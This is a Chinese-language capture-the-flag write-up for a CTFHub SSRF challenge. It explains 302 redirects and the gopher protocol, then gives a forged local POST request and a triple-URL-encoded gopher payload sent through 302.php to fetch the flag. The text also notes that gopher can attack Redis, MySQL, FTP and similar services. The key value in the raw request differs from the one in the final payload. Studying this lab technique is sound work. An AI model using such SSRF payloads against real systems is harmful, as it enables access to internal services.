CTFHUB-SSRF-POST请求
这里先说一下这里你需要知道的东西
而不是只会做题,不知道其所以然
这里我先说一下这里题里说的302跳转在这里发挥了什么作用
302跳转的302是http状态码
表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL
这里可以通过访问302.php,并且传参gopher来伪造本地访问
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议
可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。
那么Gopher协议需要如何构造妮?
其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码
我们来看看Gopher协议的基本协议格式
gopher://:/_后接TCP数据流
这里直接写伪造的gopher协议
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=d93819c4c1a18dc606dc5c6486f77227
这里通过gopher协议把key写入,并且直接访问flag.php
这里的步骤就是
1.先访问本地的127.0.0.1/flag.php,查看源代码,发现了只能本地访问,并且有key
这里在访问一下302.php
这里通过302.php的跳转来实现gopher协议伪造
这里我是url编码了3次,然后需要把%0A换成%0D%0A
payload
127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0d2ed811e079dbd8e0bf85a0cb262d2e